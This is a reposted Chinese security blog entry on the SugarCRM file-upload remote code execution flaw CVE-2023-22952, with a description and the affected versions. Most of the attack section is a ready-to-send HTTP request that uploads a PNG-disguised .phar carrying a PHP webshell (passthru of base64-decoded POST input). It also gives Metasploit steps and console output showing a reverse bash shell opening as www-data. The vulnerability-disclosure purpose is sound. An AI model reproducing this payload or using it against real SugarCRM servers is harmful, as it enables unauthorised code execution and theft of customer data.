SugarCRM Shell File Upload (CVE-2023-22952)

admin 2023年2月2日00:47:44评论317 views字数 2015阅读6分43秒阅读模式

SugarCRM Shell File Upload (CVE-2023-22952)


简介
SugarCRM 是一个开源的客户关系管理套件。


漏洞

SugarCRM 存在远程 shell 上传漏洞。SugarCRM 可能允许经过身份验证的远程攻击者在系统上执行任意代码,这是由不正确的输入验证引起的。


影响版本

此模块利用已在 SugarCRM 应用程序中识别的远程代码执行漏洞。
使用特制的请求,自定义 PHP 代码可以嵌入到 PNG 文件中上传,并由于缺少输入验证而通过 EmailTemplates 注入。
任何用户权限都可以利用此漏洞,并导致以运行 Web 服务的相同权限访问底层操作系统(通常是用户 www-data)。
SugarCRM 11.0 Professional、Enterprise、Ultimate、Sell and Serve 11.0.4 及以下版本受到影响。已在版本 11.0.5 中修复。
SugarCRM 12.0 Enterprise、Sell 和 Serve 12.0.1 及以下版本受到影响。已在版本 12.0.2 中修复

Ladon识别SugarCRM

Ladon url.txt WhatCMSLadon http://crm.k8gege.org WhatCMS



POC

通过使用 EmailTemplates 发送特制请求,攻击者可以利用此漏洞在系统上执行任意 PHP 代码。

POST /index.php HTTP/1.1Host: 192.168.74.130:8080User-Agent: python-requests/2.25.1Accept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveContent-Length: 577Content-Type: multipart/form-data; boundary=24dca17724a5bf7732b724ccdaa83abd

--24dca17724a5bf7732b724ccdaa83abdContent-Disposition: form-data; name="module"

EmailTemplates--24dca17724a5bf7732b724ccdaa83abdContent-Disposition: form-data; name="action"

AttachFiles--24dca17724a5bf7732b724ccdaa83abdContent-Disposition: form-data; name="file"; filename="sweet.phar"Content-Type: image/png

.PNG....IHDR.............O.f....KPLTE<?php echo "#####"; passthru(base64_decode($_POST["c"])); echo "#####"; ?> ..x7... pHYs..........+.....*IDAT(.c`....YX..98..yx......ED..%.h..C...0..-L.Z.....IEND.B`.--24dca17724a5bf7732b724ccdaa83abd--


MSF

https://github.com/rapid7/metasploit-framework/pull/17507

Start msfconsole
use exploit/linux/http/sugarcrm_webshell_cve_2023_22952
set LHOST with target IP
set LPORT with target port
set TARGET with 0 (UNIX cmd) or 1 (Linux Dropper)
exploit

msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sending authentication request.
[*] Uploading webshell and retrieving SugarCRM version.
[+] The target is vulnerable. SugarCRM version: 11.0.4 ENT
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Deleted RPXrYGLCvGjL.phar
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:52584) at 2023-01-19 19:14:56 +0000

whoami
www-data




原文始发于微信公众号(K8实验室):SugarCRM Shell File Upload (CVE-2023-22952)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月2日00:47:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SugarCRM Shell File Upload (CVE-2023-22952)https://cn-sec.com/archives/1532854.html

发表评论

匿名网友 填写信息